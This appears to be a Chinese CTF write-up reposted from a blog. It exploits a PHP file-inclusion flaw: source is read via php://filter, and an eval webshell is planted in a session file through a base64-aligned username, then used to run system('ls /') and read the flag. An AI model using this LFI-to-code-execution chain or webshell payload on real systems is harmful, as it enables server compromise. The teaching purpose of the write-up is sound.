在线时间:8:00-16:00
迪恩网络APP
随时随地掌握行业动态
扫描二维码
关注迪恩网络微信公众号
PHP文件包含 Session 首先了解一下PHP文件包含漏洞----包含session 利用条件:session文件路径已知,且其中内容部分可控。 姿势: php的session文件的保存路径可以在phpinfo的session.save_path看到。 常见的php-session存放位置:
session 的文件名格式为 sess_[phpsessid]。而 phpsessid 在发送的请求的 cookie 字段中可以看到。 要包含并利用的话,需要能控制部分sesssion文件的内容。暂时没有通用的办法。有些时候,可以先包含进session文件,观察里面的内容,然后根据里面的字段来发现可控的变量,从而利用变量来写入payload,并之后再次包含从而执行php代码。
题目: http://54.222.188.152:22589/
解题思路: php伪协议读取源码 点击login,发现链接变为: http://54.222.188.152:22589/index.php
?action=login.php
首先读取 login.php 的源码 http://54.222.188.152:22589/index.php
?action=php://filter/read=convert.base64-encode/resource=login.php
得到login.php源码: <?php require_once('config.php'); session_start(); if($_SESSION['username']) { header('Location: index.php'); exit; } if($_POST['username'] && $_POST['password']) { $username = $_POST['username']; $password = md5($_POST['password']); $mysqli = @new mysqli($dbhost, $dbuser, $dbpass, $dbname); if ($mysqli->connect_errno) { die("could not connect to the database:\n" . $mysqli->connect_error); } $sql = "select password from user where username=?"; $stmt = $mysqli->prepare($sql); $stmt->bind_param("s", $username); $stmt->bind_result($res_password); $stmt->execute(); $stmt->fetch(); if ($res_password == $password) { $_SESSION['username'] = base64_encode($username); header("location:index.php"); } else { die("Invalid user name or password"); } $stmt->close(); $mysqli->close(); } else { ?> <!DOCTYPE html> <html> <head> <title>Login</title> <link href="static/bootstrap.min.css" rel="stylesheet"> <script src="static/jquery.min.js"></script> <script src="static/bootstrap.min.js"></script> </head> <body> <div class="container" style="margin-top:100px"> <form action="login.php" method="post" class="well" style="width:220px;margin:0px auto;"> <h3>Login</h3> <label>Username:</label> <input type="text" name="username" style="height:30px"class="span3"/> <label>Password:</label> <input type="password" name="password" style="height:30px" class="span3"> <button type="submit" class="btn btn-primary">LOGIN</button> </form> </div> </body> </html> <?php } ?>
读取 register.php 的源码 访问: http://54.222.188.152:22589/index.php
?action=php://filter/read=convert.base64-encode/resource=register.php
得到源码: <?php if ($_POST['username'] && $_POST['password']) { require_once('config.php'); $username = $_POST['username']; $password = md5($_POST['password']); $mysqli = @new mysqli($dbhost, $dbuser, $dbpass, $dbname); if ($mysqli->connect_errno) { die("could not connect to the database:\n" . $mysqli->connect_error); } $mysqli->set_charset("utf8"); $sql = "select * from user where username=?"; $stmt = $mysqli->prepare($sql); $stmt->bind_param("s", $username); $stmt->bind_result($res_id, $res_username, $res_password); $stmt->execute(); $stmt->store_result(); $count = $stmt->num_rows(); if($count) { die('User name Already Exists'); } else { $sql = "insert into user(username, password) values(?,?)"; $stmt = $mysqli->prepare($sql); $stmt->bind_param("ss", $username, $password); $stmt->execute(); echo 'Register OK!<a href="index.php">Please Login</a>'; } $stmt->close(); $mysqli->close(); } else { ?> <!DOCTYPE html> <html> <head> <title>Login</title> <link href="static/bootstrap.min.css" rel="stylesheet"> <script src="static/jquery.min.js"></script> <script src="static/bootstrap.min.js"></script> </head> <body> <div class="container" style="margin-top:100px"> <form action="register.php" method="post" class="well" style="width:220px;margin:0px auto;"> <h3>Register</h3> <label>Username:</label> <input type="text" name="username" style="height:30px"class="span3"/> <label>Password:</label> <input type="password" name="password" style="height:30px" class="span3"> <button type="submit" class="btn btn-primary">REGISTER</button> </form> </div> </body> </html> <?php } ?>
读取 config.php 的源码 http://54.222.188.152:22589/index.php
?action=php://filter/read=convert.base64-encode/resource=config.php
得到源码: <?php $dbhost = 'localhost'; $dbuser = 'web'; $dbpass = 'webpass123'; $dbname = 'web'; ?>
读取 index.php 的源码 http://54.222.188.152:22589/index.php
?action=php://filter/read=convert.base64-encode/resource=index.php
源码: <?php error_reporting(0); session_start(); if (isset($_GET['action'])) { include $_GET['action']; exit(); } else { ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <title>Login</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link href="css/bootstrap.css" rel="stylesheet" media="screen"> <link href="css/main.css" rel="stylesheet" media="screen"> </head> <body> <div class="container"> <div class="form-signin"> <?php if (isset($_SESSION['username'])) { ?> <?php echo "<div class=\"alert alert-success\">You have been <strong>successfully logged in</strong>.</div> <a href=\"index.php?action=logout.php\" class=\"btn btn-default btn-lg btn-block\">Logout</a>";}else{ ?> <?php echo "<div class=\"alert alert-warning\">Please Login.</div> <a href=\"index.php?action=login.php\" class=\"btn btn-default btn-lg btn-block\">Login</a> <a href=\"index.php?action=register.php\" class=\"btn btn-default btn-lg btn-block\">Register</a>"; } ?> </div> </div> </body> </html> <?php } ?>
解题分析: 拿到了源码,首先进行简单的审计一下。 SQL注入?: 有登陆页面,不知道会不会有注入,简单看一下。 往往注册与登陆操作中会有与数据库交互的地方,这也是sql注入的常见引发点。
看一下register.php,这里仅截取部分代码: # register.php $mysqli->set_charset("utf8"); $sql = "select * from user where username=?"; $stmt = $mysqli->prepare($sql); $stmt->bind_param("s", $username); $stmt->bind_result($res_id, $res_username, $res_password); $stmt->execute(); $stmt->store_result();
再看一下login.php: # login.php $sql = "select password from user where username=?"; $stmt = $mysqli->prepare($sql); $stmt->bind_param("s", $username); $stmt->bind_result($res_password); $stmt->execute(); $stmt->fetch();
这里都使用了PHP的PDO处理,因此这里存在sql注入的可能性很小。
session 接着再看看,有哪些参数是可控的。 在login.php中: # 第3行 session_start(); if($_SESSION['username']) { header('Location: index.php'); exit; } # 第8行 if($_POST['username'] && $_POST['password']) { $username = $_POST['username']; # 第20行 $stmt->bind_result($res_password); # 第24行 if ($res_password == $password) { $_SESSION['username'] = base64_encode($username); header("location:index.php");
这里使用了session来保存用户会话,php手册中是这样描述的:
考虑到变量
要包含session文件,需要知道文件的路径。先注册一个用户,比如chybeta。等登陆成功后。记录下cookie中的PHPSESSID的值,这里为udu8pr09fjvabtoip8icgurt85 访问: http://54.222.188.152:22589/index.php?action=/var/lib/php5/sess_udu8pr09fjvabtoip8icgurt85 这个
base64_encode能包含,并且控制session文件,但要写入可用的payload,还需要绕过: $_SESSION['username'] = base64_encode($username);
如前面所示,输入的用户名会被base64加密。如果直接用php伪协议来解密整个session文件,由于序列化的前缀,势必导致乱码。 考虑一下base64的编码过程。比如编码abc。 未编码: abc 转成ascii码: 97 98 99 转成对应二进制(三组,每组8位): 01100001 01100010 01100011 重分组(四组,每组6位): 011000 010110 001001 100011 每组高位补零,变为每组8位:00011000 00010110 00001001 00100011 每组对应转为十进制: 24 22 9 35 查表得: Y W J j
考虑一下session的前缀: 由于16个字符,恰好满足一下条件: 16个字符 => 16 * 6 = 96 位 => 96 mod 8 = 0 也就是说,当对session文件进行base64解密时,前16个字符固然被解密为乱码,但不会再影响从第17个字符后的部分也就是base64加密后的username。
Getflag 注册一个账号,比如: chybetachybetachybetachybetachybetachybetachybetachybetachybeta<?php eval($_GET['atebyhc']) ?> http://54.222.188.152:22589/index.php ?action=php://filter/read=convert.base64-decode/resource=/var/lib/php5/sess_udu8pr09fjvabtoip8icgurt85 &atebyhc=phpinfo();
访问: http://54.222.188.152:22589/index.php?action=php://filter/read=convert.base64-decode/resource=/var/lib/php5/sess_udu8pr09fjvabtoip8icgurt85&atebyhc=system('ls /'); 访问: http://54.222.188.152:22589/index.php?action=php://filter/read=convert.base64-decode/resource=/var/lib/php5/sess_udu8pr09fjvabtoip8icgurt85&atebyhc=system('cat /fffflllllaaaagggg.txt');
考了几个知识点:
原文链接(https://chybeta.github.io/2017/11/09/%E4%B8%80%E9%81%93CTF%E9%A2%98%EF%BC%9APHP%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB/) 任重而道远! |
2022-08-16
2022-11-06
2022-08-18
2022-08-15
2022-08-18
请发表评论